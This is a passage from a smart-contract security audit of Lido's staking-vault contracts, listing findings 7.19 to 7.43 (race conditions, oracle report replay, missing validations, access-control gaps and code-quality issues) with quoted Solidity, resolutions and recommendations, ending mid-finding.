This enforcement prevents excessive fees due to griefing attacks, protects both vault owners and the `VALIDATOR_EXIT_ROLE` from losing all `msg.value` submitted, and aligns with the expectations of `EIP-7002` and `EIP-7251`.

7.19 New Redemptions Don't Take Into Account the Current Status Medium ✓ Fixed

Resolution

Algorithm was updated, instead of setting `_redemptionsValue`, the `_liabilitySharesTarget` is set. It's the maximum amount of liabilityShares that will be preserved, the rest will be marked as redemptionShares.

Description

When submitting new redemptions via `setVaultRedemptions`, the current value of the `redemptions` variable is not checked before being overwritten. This opens up a **race condition** that can result in over-redemption.

contracts/0.8.25/vaults/VaultHub.sol:L892-L907

```
function setVaultRedemptions(address _vault, uint256 _redemptionsValue) external onlyRole(REDEMPTION_MASTER_ROLE) {
    VaultRecord storage record = _vaultRecord(_vault);

    uint256 liabilityShares_ = record.liabilityShares;

    // This function may intentionally perform no action in some cases, as these are EasyTrack motions
    if (liabilityShares_ > 0) {
        uint256 newRedemptions = Math256.min(_redemptionsValue, _getPooledEthBySharesRoundUp(liabilityShares_));
        _vaultObligations(_vault).redemptions = uint128(newRedemptions);
        emit RedemptionsUpdated(_vault, newRedemptions);

        _checkAndUpdateBeaconChainDepositsPause(_vault, _vaultConnection(_vault), record);
    } else {
        emit RedemptionsNotSet(_vault, _redemptionsValue);
    }
}
```

Scenario

1. The Vault currently holds `redemptions = 10 ETH`.
2. Before the `REDEMPTION_MASTER_ROLE` submits a new total value (e.g., 20 ETH to reflect 10 ETH already submitted + 10 new ETH), the Vault may rebalance and process the existing 10 ETH — clearing the `redemptions` value in the process.
3. The redemption master then submits `_redemptionsValue = 20 ETH`, unaware that 10 ETH was already processed.
4. As a result, the Vault treats the full 20 ETH as unprocessed and will rebalance for an **additional 20 ETH**, totaling **30 ETH** — even though the intended amount was just 20 ETH.

This race condition could lead to over-rebalancing.

Recommendation

Implement a check or reset mechanism to ensure existing redemptions are cleared or reconciled before accepting a new submission. This will prevent unintended cumulative effects during redemption updates.

7.20 Missing Report Reuse Validation Medium ✓ Fixed

Resolution

The issue has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by implementing validation of the report timestamp in the `LazyOracle` contract; the report can no longer be reused.

Description

The `updateVaultData` function in `LazyOracle` does not verify whether a given vault report has already been applied. As a result, an attacker can replay the same report multiple times, setting identical values. By doing so, the attacker can call `voluntaryDisconnect` and then, within the same transaction or block, reapply the same report—thus bypassing the `pendingDisconnect` state and immediately reclaiming vault ownership.

There is also an edge case in which an attacker with an existing vault can disconnect from the `VaultHub`, withdraw tokens from the vault, reconnect to the `VaultHub`, and then apply an oracle report to the new vault using the proof and data from the previously disconnected vault. This technique was used in Finding issue 7.2 to mint stETH against a fake total value.

Examples

contracts/0.8.25/vaults/LazyOracle.sol:L248-L289

```
/// @notice Permissionless update of the vault data
/// @param _vault the address of the vault
/// @param _totalValue the total value of the vault
/// @param _cumulativeLidoFees the cumulative Lido fees accrued on the vault (nominated in ether)
/// @param _liabilityShares the liabilityShares of the vault
/// @param _proof the proof of the reported data
function updateVaultData(
    address _vault,
    uint256 _totalValue,
    uint256 _cumulativeLidoFees,
    uint256 _liabilityShares,
    uint256 _slashingReserve,
    bytes32[] calldata _proof
) external {
    bytes32 leaf = keccak256(
        bytes.concat(
            keccak256(
                abi.encode(
                    _vault,
                    _totalValue,
                    _cumulativeLidoFees,
                    _liabilityShares,
                    _slashingReserve
                )
            )
        )
    );
    if (!MerkleProof.verify(_proof, _storage().vaultsDataTreeRoot, leaf)) revert InvalidProof();

    int256 inOutDelta;
    (_totalValue, inOutDelta) = _handleSanityChecks(_vault, _totalValue);

    _vaultHub().applyVaultReport(
        _vault,
        _storage().vaultsDataTimestamp,
        _totalValue,
        inOutDelta,
        _cumulativeLidoFees,
        _liabilityShares,
        _slashingReserve
    );
}
```

Recommendation

We recommend invalidating each oracle report immediately after it has been applied. Reports must be marked as used upon vault disconnect, and additional safeguards should ensure that replayed reports cannot be applied later (see Finding issue 7.6).

7.21 No Override of `renounceRole` Minor ✓ Fixed

Resolution

The issue has been fixed in the PR#1557.

Description

The contracts using `AccessControl` do not override `renounceRole`, allowing holders of critical roles (e.g., `DEFAULT_ADMIN_ROLE`) to renounce them permanently. In `Dashboard`, there is no safeguard preventing administrators from calling `renounceRole`.

Examples

contracts/0.8.25/utils/AccessControlConfirmable.sol:L7-L16

```
import {AccessControlEnumerable} from "@openzeppelin/contracts-v5.2/access/extensions/AccessControlEnumerable.sol";
import {Confirmations} from "./Confirmations.sol";

/**
 * @title AccessControlConfirmable
 * @author Lido
 * @notice An extension of AccessControlEnumerable that allows executing functions by mutual confirmation.
 * @dev This contract extends Confirmations and AccessControlEnumerable and adds a confirmation mechanism.
 */
abstract contract AccessControlConfirmable is AccessControlEnumerable, Confirmations {
```

Recommendation

We recommend overriding `renounceRole` in `Dashboard` to revert.

7.22 Vault Ownership Transfer Bypasses Node Operator Approvals When Not Using Dashboard Minor Acknowledged

Resolution

The finding has been Acknowledged by Lido team with the following comment: “There is an optional part (Dashboard) that is enabled by default and recommended to use, it specifically helps to avoid this kind of situations and if you drop it, you can definitely suffer. This possibility is reserved for specific integrations that does not need any trustless setup and can live without it.”

Description

`VaultHub.transferVaultOwnership` permits the current vault owner to transfer ownership without any confirmations. When operating via `Dashboard`, tier changes and ownership transfers require confirmations (Node Operator/ Node Operator manager). If a vault is not connected to `Dashboard`, the EOA is the owner of the Vault in the `VaultHub`, so ownership can be reassigned to any address, bypassing Node Operator approval.

Consider the following scenario: A bank creates a staking vault and operates directly via `VaultHub` without using `Dashboard`. The Node Operator grants them a high share limit and a favorable fee configuration based on trust. Later, the bank transfers vault ownership to an untrusted entity using `transferVaultOwnership`. The Node Operator cannot prevent this transfer, despite the new owner inheriting the same privileged vault parameters that were granted specifically to the trusted bank.

Examples

contracts/0.8.25/vaults/VaultHub.sol:L641-L660

```
/// @notice transfer the ownership of the vault to a new owner without disconnecting it from the hub
/// @param _vault vault address
/// @param _newOwner new owner address
/// @dev msg.sender should be vault's owner
function transferVaultOwnership(address _vault, address _newOwner) external {
    _requireNotZero(_newOwner);
    VaultConnection storage connection = _checkConnection(_vault);
    address oldOwner = connection.owner;

    _requireSender(oldOwner);

    connection.owner = _newOwner;

    emit VaultOwnershipTransferred({
        vault: _vault,
        newOwner: _newOwner,
        oldOwner: oldOwner
    });
}
```

Recommendation

Enforce the same confirmation policy for ownership transfers at the `VaultHub` level: either require NO/NO-manager confirmations, route transfers through `Dashboard`, or block transfers when not connected to `Dashboard`.

7.23 Vaults Can Exceed Their Own Share Limit After a Tier Change Minor ✓ Fixed

Resolution

The finding has been fixed in PR#1561.

Description

A vault with existing `liabilityShares` can be reassigned to a new tier requesting a share limit lower than its current `liabilityShares`. This allows the vault to exceed its `shareLimit`, violating system invariants and potentially leading to accounting inconsistencies or risk exposure.

The `changeTier` logic in the `OperatorGrid` contract does not check whether the vault's current `liabilityShares` are less than or equal to the requested `shareLimit`. It is only checking that it's not exceeding the requested Tier's `shareLimit`.

contracts/0.8.25/vaults/OperatorGrid.sol:L420

```
if (_requestedShareLimit > requestedTier.shareLimit) revert RequestedShareLimitTooHigh(_requestedShareLimit, requestedTier.sha
```

Recommendation

Add a check in the `changeTier` function to ensure that the requested `shareLimit` is at least as large as the vault's current `liabilityShares`.

7.24 No Way to Update Vault's Parameters Without Reconnection Minor ✓ Fixed

Resolution

Fixed by adding new functions `syncTier` and `updateVaultShareLimit`.

Description

Once a vault is connected, its connection parameters (share limit, reserve ratio, fee basis points, thresholds) can only be updated by reconnecting through `updateConnection`. There is no standalone function to update these parameters without a full reconnection process, which can cause unnecessary operational overhead and potential service interruptions.

Recommendation

Implement a dedicated parameter update function callable by authorized roles without requiring disconnection/reconnection.

7.25 Slashing Cost Is Fully Put on the Node Operators Minor Acknowledged

Resolution

This finding has been Acknowledged with the following comment: “The stVaults does not eliminate the trust from the vault owner and node operator relations, it still requires to choose the node operator cautiously. The protocol itself (stETH holders) is protected by the reserves, the risk framework and slashing socialization mechanisms which substantially reduce the risk of losses from slashing. Also, there is always a way to renegotiate the conditions with the vault owner using correctSettledGrowth method in Dashboard.sol”

Description

Currently, the full cost of slashing is assigned to the node operators. While this design is logical in terms of accountability, it creates a strong disincentive for node operators to continue validating after being slashed. If the losses are too high, operators may simply abandon their role rather than continue providing service, which could harm protocol stability and reliability.

7.26 No Incentive for Node Operator to Increase Rewards Adjustments Minor ✓ Fixed

Resolution

The issue has been addressed. Lido explicitly states in the documentation that the Node Operator must be trusted by the staking vault administrator.

Description

The node operator (NO) is managing the `NODE_OPERATOR_REWARDS_ADJUST_ROLE` to increase adjustments that reduce their own fee entitlement. Without an explicit incentive or contractual obligation, a rational NO is unlikely to voluntarily increase adjustments in a way that benefits the vault at their expense.

contracts/0.8.25/vaults/dashboard/NodeOperatorFee.sol:L265-L272

```
function increaseRewardsAdjustment(
    uint256 _adjustmentIncrease
) external onlyRoleMemberOrAdmin(NODE_OPERATOR_REWARDS_ADJUST_ROLE) {
    uint256 newAdjustment = rewardsAdjustment.amount + _adjustmentIncrease;
    // sanity check, though value will be cast safely during fee calculation
    if (newAdjustment > MANUAL_REWARDS_ADJUSTMENT_LIMIT) revert IncreasedOverLimit();
    _setRewardsAdjustment(newAdjustment);
}
```

The issue leads to potential accumulation of fees on amounts that should have been excluded, leading to overpayment and reduced net rewards for the vault.

7.27 Confirmation Expiry Not Cleared When Vault Disconnects or Tier Is Reset Minor Acknowledged

Resolution

The finding has been Acknowledged by Lido team with the following comment: “Confirmations mechanics are designed to be very lightweight, so the main way to counter this kind of very unlikely situations is to choose a smallest possible expiry period for confirmations, which is 1 day by default and it can be considered safe.”

Description

When a vault is disconnected from the vault hub or its tier is reset, the confirmation storage mapping retains any pending confirmation. For example, if a vault receives a confirmation from the Node Operator to change its tier, and after that:

- disconnects,
- transfers its ownership to a new vault admin,
- and reconnects to the VaultHub,

the confirmation for that `msg.data` with the same vault address remains pending (for 1 day by default, but up to 30 days) even though vault admin has changed in the meantime.

Similarly, when the `resetVaultTier` function is called, any pending confirmation to change a tier is not cleared on disconnection. Currently, there is no way to delete pending confirmations in the `Confirmations` contract.

Examples

../code-6c7ee2/contracts/0.8.25/vaults/OperatorGrid.sol:L431-L460

```
function changeTier(
    address _vault,
    uint256 _requestedTierId,
    uint256 _requestedShareLimit
) external returns (bool) {
    if (_vault == address(0)) revert ZeroArgument("_vault");

    ERC7201Storage storage $ = _getStorage();
    if (_requestedTierId >= $.tiers.length) revert TierNotExists();
    if (_requestedTierId == DEFAULT_TIER_ID) revert CannotChangeToDefaultTier();

    VaultHub vaultHub = _vaultHub();

    uint256 vaultTierId = $.vaultTier[_vault];
    if (vaultTierId == _requestedTierId) revert TierAlreadySet();

    address nodeOperator = IStakingVault(_vault).nodeOperator();
    // we allow node operator to pre-approve not connected vaults
    if (msg.sender != nodeOperator && !vaultHub.isVaultConnected(_vault)) revert VaultNotConnected();

    Tier storage requestedTier = $.tiers[_requestedTierId];
    if (nodeOperator != requestedTier.operator) revert TierNotInOperatorGroup();
    if (_requestedShareLimit > requestedTier.shareLimit) {
        revert RequestedShareLimitTooHigh(_requestedShareLimit, requestedTier.shareLimit);
    }

    address vaultOwner = vaultHub.vaultConnection(_vault).owner;

    // store the caller's confirmation; only proceed if the required number of confirmations is met.
    if (!_collectAndCheckConfirmations(msg.data, vaultOwner, nodeOperator)) return false;
```

Recommendation

We recommend adding confirmation cleanup when vaults disconnect or tiers are reset.

7.28 Missing Rebalancing and Force Validator Exit Incentives Minor Acknowledged

Resolution

This finding has been Acknowledged by the Lido team with the following comment: “Planned to be done by DAO first and automate with incentives if needed later (next release).”

Description

Currently, there is no incentive to trigger vault force rebalancing or a force validator exit operations. The current implementation does not provide any form of reward or mechanism to encourage actors to proactively balance assets between vaults.

Since force rebalancing is essential for maintaining the health of staking vault, the absence of a built-in incentive might result in vaults remaining unbalanced.

Recommendation

Consider implementing an incentive mechanism to encourage broader participation in maintaining protocol health.

7.29 Incorrect Default Node Operator Fee Recipient May Lock Certain Functions When Creating a Vault Without Connecting It to `VaultHub` Minor ✓ Fixed

Resolution

Fixed in the PR1281 by specifying the `_nodeOperatorManager` parameter as the initial fee recipient.

Description

In the `VaultFactory` contract, the `createVaultWithDashboardWithoutConnectingToVaultHub` function sets the factory itself (`address(this)`) as the `nodeOperatorManager` in the `initialize()` call for the Dashboard. While the factory revokes this role after initialization, this address is also used to initialize the `nodeOperatorFeeRecipient`.

contracts/0.8.25/vaults/VaultFactory.sol:L118

```
dashboard.initialize(_defaultAdmin, address(this), _nodeOperatorFeeBP, _confirmExpiry);
```

As a result, unless the fee recipient is updated manually, the `VaultFactory` becomes the default destination for node operator fees. While funds are not permanently lost, this setup prevents execution of key operations such as `setOperatorFeeRate` or `voluntaryDisconnect` when there are fees to be disbursed, as they would either revert due to failed transfers.

This behavior differs from the `createVaultWithDashboard` function, where the `nodeOperatorManager` parameter is correctly passed to the Dashboard during initialization.

Recommendation

Consider updating `createVaultWithDashboardWithoutConnectingToVaultHub` to use the externally provided `nodeOperatorManager` parameter when initializing the Dashboard, ensuring the `nodeOperatorFeeRecipient` is set to a retrievable address by default.

7.30 Missing Check for Existing Deposit Pause State in `_connectVault` ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by implementing the recommendation.

Description

`VaultHub._connectVault` initializes `isBeaconDepositsManuallyPaused` to `false` without considering the vault's existing pause state. This creates a risk of state inconsistency between the `VaultHub` contract and the `StakingVault` contract, where `VaultHub` may assume deposits are active while the vault itself is paused. Such mismatches could lead to unintended deposit behavior or bypassing of safeguards intended by the vault operator.

Examples

contracts/0.8.25/vaults/VaultHub.sol:L992-L1002

```
connection = VaultConnection({
    owner: IStakingVault(_vault).owner(),
    shareLimit: uint96(_shareLimit),
    vaultIndex: uint96(_storage().vaults.length),
    pendingDisconnect: false,
    reserveRatioBP: uint16(_reserveRatioBP),
    forcedRebalanceThresholdBP: uint16(_forcedRebalanceThresholdBP),
    infraFeeBP: uint16(_infraFeeBP),
    liquidityFeeBP: uint16(_liquidityFeeBP),
    reservationFeeBP: uint16(_reservationFeeBP),
    isBeaconDepositsManuallyPaused: false
```

Recommendation

We recommend ensuring that the vault's pause state is preserved during connection. Instead of hardcoding `false`, retrieve the pause status directly from the vault contract:

```
isBeaconDepositsManuallyPaused: IStakingVault(_vault).beaconChainDepositsPaused()
```

This adjustment maintains consistency across contracts and prevents state desynchronization during vault connection operations.

7.31 Staking Vault Info Can Be Optimized Acknowledged

Resolution

The finding has been Acknowledged by Lido team.

Description

`VaultHub.connectVault` makes multiple individual calls to `vault_.pendingOwner()`, `vault_.isOssified()`, and `vault_.depositor()` instead of using a single view function that returns all vault state variables at once. This approach consumes more gas than necessary for vault validation.

Examples

contracts/0.8.25/vaults/VaultHub.sol:L351-L354

```
IStakingVault vault_ = IStakingVault(_vault);
if (vault_.pendingOwner() != address(this)) revert VaultHubNotPendingOwner(_vault);
if (vault_.isOssified()) revert VaultOssified(_vault);
if (vault_.depositor() != address(_predepositGuarantee())) revert PDGNotDepositor(_vault);
```

Recommendation

We recommend adding a view function in `IStakingVault` that returns all required vault state variables (`pendingOwner`, `isOssified`, `depositor`) in a single call, then updating `connectVault` to use this optimized function to reduce gas consumption during vault connection validation.

7.32 Unused Import in `LazyOracle` ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by removing it from the codebase.

Description

`contracts/0.8.25/vaults/LazyOracle.sol` imports `IHashConsensus` but does not use it, reducing readability.

Example

contracts/0.8.25/vaults/LazyOracle.sol:L15

```
import {IHashConsensus} from "contracts/common/interfaces/IHashConsensus.sol";
```

Recommendation

Remove the unused `IHashConsensus` import from `LazyOracle`, or reference it if intended.

7.33 `reconnectToVaultHub` Cannot Accept ETH Prohibiting Funding During Reconnect Acknowledged

Resolution

The finding has been Acknowledged by Lido team.

Description

`reconnectToVaultHub()` is non-payable but calls `connectToVaultHub()` which conditionally forwards `msg.value` to `_stakingVault().fund(...)`. Callers, therefore, cannot provide value in the reconnect flow, creating inconsistent behavior vs. initial connect and preventing funding when reconnecting.

Examples

contracts/0.8.25/vaults/dashboard/Dashboard.sol:L275-L290

```
 * @notice Accepts the ownership over the StakingVault and connects to VaultHub. Can be called to reconnect
 *         to the hub after voluntaryDisconnect()
 */
function reconnectToVaultHub() external {
    _acceptOwnership();
    connectToVaultHub();
}

/**
 * @notice Connects to VaultHub, transferring ownership to VaultHub.
 */
function connectToVaultHub() public payable {
    if (msg.value > 0) _stakingVault().fund{value: msg.value}();
    _transferOwnership(address(VAULT_HUB));
    VAULT_HUB.connectVault(address(_stakingVault()));
}
```

Recommendation

Make `reconnectToVaultHub()` payable and forward `msg.value` to `connectToVaultHub()`, or make `connectToVaultHub()` non-payable and require funding via an explicit, separate function. Document and enforce the intended behavior consistently.

7.34 Use a `modifier` Instead of a `require/if` Statement Acknowledged

Resolution

The finding has been Acknowledged by Lido team.

Description

`PredepositGuarantee` enforces roles (e.g., depositor, staking vault owner) via inline `msg.sender` comparisons and ad-hoc reverts across multiple functions. This reduces clarity, invites inconsistency in access control logic and revert reasons, and complicates auditability. A dedicated modifier exists for the guarantor role, indicating a preferred pattern already in use.

Examples

contracts/0.8.25/vaults/predeposit_guarantee/PredepositGuarantee.sol:L361

```
if (msg.sender != _depositorOf(nodeOperator)) revert NotDepositor();
```

contracts/0.8.25/vaults/predeposit_guarantee/PredepositGuarantee.sol:L442-L443

```
if (msg.sender != _depositorOf(_stakingVault.nodeOperator())) {
    revert NotDepositor();
```

contracts/0.8.25/vaults/predeposit_guarantee/PredepositGuarantee.sol:L502

```
if (_stakingVault.owner() != msg.sender) revert NotStakingVaultOwner();
```

contracts/0.8.25/vaults/predeposit_guarantee/PredepositGuarantee.sol:L568

```
if (msg.sender != stakingVault.owner()) revert NotStakingVaultOwner();
```

Recommendation

Introduce and consistently apply dedicated modifiers (e.g., `onlyDepositorOf(address)`, `onlyStakingVaultOwner`) and reuse `onlyGuarantorOf`.

7.35 Group Operator Is Redundant Acknowledged

Resolution

The finding has been Acknowledged by Lido team.

Description

In `OperatorGrid`'s `Group` struct, `operator` duplicates the mapping key (`mapping(address nodeOperator => Group)`), is only used for existence checks, and is not needed for auth. Keeping it wastes storage and prevents optimal packing of `shareLimit` and `liabilityShares`.

Examples

contracts/0.8.25/vaults/OperatorGrid.sol:L99-L104

```
struct Group {
    address operator;
    uint96 shareLimit;
    uint96 liabilityShares;
    uint256[] tierIds;
}
```

Recommendation

We recommend removing `Group.operator`, using the mapping key as the operator, and adding a lightweight existence tracker (e.g., `mapping(address=>bool) groupExists` or index+1 pattern). This allows packing `uint96 shareLimit` and `uint96 liabilityShares` into one slot and reduces SSTORE/SLOAD costs. Adjust checks like `GroupNotExists()` to rely on the new existence mapping.

7.36 Quarantined Value Ignored During Vault Health Checks and Debt Internalization Acknowledged

Resolution

The finding has been acknowledged.

Description

The quarantine mechanism holds back deposits, which were made using the `unguaranteedDepositToBeaconChain` function, or consolidations from the vault total value. This quarantined value is not considered during critical vault health assessments. This can lead to premature debt internalization and validator exits even when the vault has received legitimate funds that are temporarily quarantined.

Recommendation

Review the existing logic and, if needed, modify vault health checks and debt internalization logic to include quarantined value in calculations for such functions as `internalizeBadDebt` or `socializeBadDebt`.

7.37 Inconsistent or Outdated Code Comments Partially Addressed

Resolution

Partially fixed, the following points have not been addressed:

- `OperatorGrid` contract about default expiration delay.
- `CLProofVerifier` contract about the notice NatSpec of the `verifySlot` function.

Description

While the codebase overall demonstrates good use of comments, several inconsistencies and outdated remarks have been identified. These issues can lead to confusion or misinterpretation for future maintainers of the codebase.

Identified issues include:

- `OperatorGrid` contract: The comment states that the default expiration delay is 1 hour, whereas the actual implementation sets it to 1 day.

contracts/0.8.25/vaults/OperatorGrid.sol:L59

```
- The confirmation has an expiry time (default 1 hour)
```

contracts/0.8.25/utils/Confirmations.sol:L52-L54

```
function __Confirmations_init() internal {
    _setConfirmExpiry(1 days);
}
```

- `VaultHub` contract: The `applyVaultReport` function lacks a NatSpec description for the `_reportSlashingReserve` parameter, reducing clarity on its purpose and expected behavior.

contracts/0.8.25/vaults/VaultHub.sol:L500-L515

```
/// @notice update of the vault data by the lazy oracle report
/// @param _vault the address of the vault
/// @param _reportTimestamp the timestamp of the report (last 32 bits of it)
/// @param _reportTotalValue the total value of the vault
/// @param _reportInOutDelta the inOutDelta of the vault
/// @param _reportCumulativeLidoFees the cumulative Lido fees of the vault
/// @param _reportLiabilityShares the liabilityShares of the vault
function applyVaultReport(
    address _vault,
    uint256 _reportTimestamp,
    uint256 _reportTotalValue,
    int256 _reportInOutDelta,
    uint256 _reportCumulativeLidoFees,
    uint256 _reportLiabilityShares,
    uint256 _reportSlashingReserve
) external whenResumed {
```

- `CLProofVerifier` contract: The comment for the `verifySlot` function incorrectly states that the function returns a value, while in reality, it does not.

contracts/0.8.25/vaults/predeposit_guarantee/CLProofVerifier.sol:L178

```
* @notice returns parent CL block root for given child block timestamp
```

- `VaultHub` contract: The `forceValidatorExit` function comment specifiy that it `permissionlessly` trigger the validator full withdrawals while this feature is currently restricted to `VALIDATOR_EXIT_ROLE` accounts.

contracts/0.8.25/vaults/VaultHub.sol:L844

```
/// @notice Triggers validator full withdrawals for the vault using EIP-7002 permissionlessly if the vault is
```

- `OperatorGrid` contract: The comment in the `changeTier` function is outdated and does not reflect the current implementation.

contracts/0.8.25/vaults/OperatorGrid.sol:L447-L453

```
// Vault may not be connected to VaultHub yet.
// There are two possible flows:
// 1. Vault is created and connected to VaultHub immediately with the default tier.
//    In this case, `VaultConnection` is non-zero and updateConnection must be called.
// 2. Vault is created, its tier is changed before connecting to VaultHub.
//    In this case, `VaultConnection` is still zero, and updateConnection must be skipped.
// Hence, we update the VaultHub connection only if the vault is already connected.
```

Recommendation

Review and update all comments to ensure they accurately reflect the current behavior of the code.

7.38 Missing Zero-Address Validation for `_nodeOperatorManager` in Vault Creation Without Hub Connection ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by passing the `_nodeOperatorManager` variable to the `initialize` function of the `Dashboard` contract and implementing the `_setFeeRecipient` function in the `NodeOperatorFee` contract.

Description

The `createVaultWithDashboardWithoutConnectingToVaultHub` function mirrors `createVaultWithDashboard` but omits the non-zero check for the `_nodeOperatorManager` parameter. As a result, callers can pass `address(0)` as the node-operator-manager, granting that role to the zero address and potentially locking management functions.

Examples

contracts/0.8.25/vaults/VaultFactory.sol:L87-L127

```
/**
 * @notice Creates a new StakingVault and Dashboard contracts without connecting to VaultHub
 * @param _defaultAdmin The address of the default admin of the Dashboard
 * @param _nodeOperator The address of the node operator of the StakingVault
 * @param _nodeOperatorManager The address of the node operator manager in the Dashboard
 * @param _nodeOperatorFeeBP The node operator fee in basis points
 * @param _confirmExpiry The confirmation expiry in seconds
 * @param _roleAssignments The optional role assignments to be made
 * @notice Only Node Operator managed roles can be assigned
 */
function createVaultWithDashboardWithoutConnectingToVaultHub(
    address _defaultAdmin,
    address _nodeOperator,
    address _nodeOperatorManager,
    uint256 _nodeOperatorFeeBP,
    uint256 _confirmExpiry,
    Permissions.RoleAssignment[] calldata _roleAssignments
) external payable returns (IStakingVault vault, Dashboard dashboard) {
    ILidoLocator locator = ILidoLocator(LIDO_LOCATOR);

    // create the vault proxy
    vault = IStakingVault(address(new PinnedBeaconProxy(BEACON, "")));

    // create the dashboard proxy
    bytes memory immutableArgs = abi.encode(address(vault));
    dashboard = Dashboard(payable(Clones.cloneWithImmutableArgs(DASHBOARD_IMPL, immutableArgs)));

    // initialize StakingVault with the dashboard address as the owner
    vault.initialize(address(dashboard), _nodeOperator, locator.predepositGuarantee());

    // initialize Dashboard with the _defaultAdmin as the default admin, grant optional node operator managed roles
    dashboard.initialize(_defaultAdmin, address(this), _nodeOperatorFeeBP, _confirmExpiry);

    if (_roleAssignments.length > 0) dashboard.grantRoles(_roleAssignments);

    dashboard.grantRole(dashboard.NODE_OPERATOR_MANAGER_ROLE(), _nodeOperatorManager);
    dashboard.revokeRole(dashboard.NODE_OPERATOR_MANAGER_ROLE(), address(this));

    emit VaultCreated(address(vault));
    emit DashboardCreated(address(dashboard), address(vault), _defaultAdmin);
}
```

Recommendation

We recommend adding a validation check in `createVaultWithDashboardWithoutConnectingToVaultHub` to ensure `_nodeOperatorManager != address(0)`, matching the guard in the connected variant:

```
if (_nodeOperatorManager == address(0)) revert ZeroArgument("_nodeOperatorManager");
```

7.39 Redundant Casting to `uint96` ✓ Fixed

Resolution

The finding has been fixed in commit `03766810b8ab904c2b2f10a62c6b16c1add6db1e` by using the `SafeCast` library.

Description

The `registerGroup` and `updateGroupShareLimit` functions accept a `uint256 _shareLimit` parameter and cast it directly to `uint96` without validating that the provided value fits within the `uint96` range. This can lead to silent truncation of high-order bits if `_shareLimit` exceeds `2**96 - 1`, resulting in incorrect `shareLimit` values and potentially allowing groups to operate with unintended limits. This is highly unlikely scenario as these functions can only be invoked by `REGISTRY_ROLE`, but still passing the values in `uint256` and typecasting them into `uint96` is excessive.

Examples

contracts/0.8.25/vaults/OperatorGrid.sol:L177-L210

```
/// @notice Registers a new group
/// @param _nodeOperator address of the node operator
/// @param _shareLimit Maximum share limit for the group
function registerGroup(address _nodeOperator, uint256 _shareLimit) external onlyRole(REGISTRY_ROLE) {
    if (_nodeOperator == address(0)) revert ZeroArgument("_nodeOperator");

    ERC7201Storage storage $ = _getStorage();
    if ($.groups[_nodeOperator].operator != address(0)) revert GroupExists();

    $.groups[_nodeOperator] = Group({
        operator: _nodeOperator,
        shareLimit: uint96(_shareLimit),
        liabilityShares: 0,
        tierIds: new uint256[](0)
    });
    $.nodeOperators.push(_nodeOperator);

    emit GroupAdded(_nodeOperator, uint96(_shareLimit));
}

/// @notice Updates the share limit of a group
/// @param _nodeOperator address of the node operator
/// @param _shareLimit New share limit value
function updateGroupShareLimit(address _nodeOperator, uint256 _shareLimit) external onlyRole(REGISTRY_ROLE) {
    if (_nodeOperator == address(0)) revert ZeroArgument("_nodeOperator");

    ERC7201Storage storage $ = _getStorage();
    Group storage group_ = $.groups[_nodeOperator];
    if (group_.operator == address(0)) revert GroupNotExists();

    group_.shareLimit = uint96(_shareLimit);

    emit GroupShareLimitUpdated(_nodeOperator, uint96(_shareLimit));
}
```

Recommendation

We recommend changing the `_shareLimit` parameter to `uint96` in both functions.

7.40 Missing Validation of Default Tier Parameters in `initialize` ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by implementing the recommendation.

Description

The `initialize` function pushes a new default `Tier` into storage using the provided `_defaultTierParams` calldata without performing any validation on the input values. As a result, invalid or out-of-range parameters—such as excessively high `shareLimit` or fee basis points exceeding acceptable bounds—could be set, leading to unexpected behavior or protocol misconfiguration.

Examples

contracts/0.8.25/vaults/OperatorGrid.sol:L150-L175

```
/// @notice Initializes the contract with an admin
/// @param _admin Address of the admin
/// @param _defaultTierParams Default tier params for the default tier
function initialize(address _admin, TierParams calldata _defaultTierParams) external initializer {
    if (_admin == address(0)) revert ZeroArgument("_admin");

    __AccessControlEnumerable_init();
    __Confirmations_init();
    _grantRole(DEFAULT_ADMIN_ROLE, _admin);

    ERC7201Storage storage $ = _getStorage();

    //create default tier with default share limit
    $.tiers.push(
        Tier({
            operator: DEFAULT_TIER_OPERATOR,
            shareLimit: uint96(_defaultTierParams.shareLimit),
            reserveRatioBP: uint16(_defaultTierParams.reserveRatioBP),
            forcedRebalanceThresholdBP: uint16(_defaultTierParams.forcedRebalanceThresholdBP),
            infraFeeBP: uint16(_defaultTierParams.infraFeeBP),
            liquidityFeeBP: uint16(_defaultTierParams.liquidityFeeBP),
            reservationFeeBP: uint16(_defaultTierParams.reservationFeeBP),
            liabilityShares: 0
        })
    );
}
```

Recommendation

We recommend invoking a validation routine (e.g., `_validateParams(_defaultTierParams)`) before pushing the new `Tier` to ensure all fields (`shareLimit` , `reserveRatioBP` , `forcedRebalanceThresholdBP` , `infraFeeBP` , `liquidityFeeBP` , `reservationFeeBP`) fall within predefined safe ranges.

7.41 Inaccurate Variable Name for Total Value Without Quarantine Acknowledged

Resolution
The finding has been acknowledged.

Description

The `totalValueWithoutQuarantine` variable is populated by calling `_processTotalValue` on the incoming `_totalValue`, which may include a quarantined portion under certain conditions. As a result, the variable name is misleading: it suggests that quarantine has been removed, when in fact the assigned value can still contain quarantined amounts.

Examples

contracts/0.8.25/vaults/LazyOracle.sol:L307-L308

```
// 2. Sanity check for total value increase
totalValueWithoutQuarantine = _processTotalValue(_vault, _totalValue, inOutDeltaOnRefSlot, record);
```

Recommendation

We recommend either renaming `totalValueWithoutQuarantine` to accurately reflect that it may include quarantine adjustments (e.g., `processedTotalValue`).

7.42 Typo in `Confirmable2Addresses` ✓ Fixed

Resolution
The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by removing it from the codebase.

Description

The NatSpec comments for the `Confirmable2Addresses` contract contain a typo: the word “exectuing” is used instead of “executing,” which may reduce code readability.

Examples

contracts/0.8.25/utils/Confirmable2Addresses.sol:L12

```
* @notice An extension of Confirmations that allows exectuing functions by mutual confirmation.
```

Recommendation

We recommend correcting the typo in the `@notice` comments by replacing “exectuing” with `executing` to keep the code clean.

7.43 Unclear Revert on Partial Withdrawal When Vault Is Insolvent ✓ Fixed

Resolution
The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit. The return value is not directly used in a computation, and its value is checked before proceeding.

Description

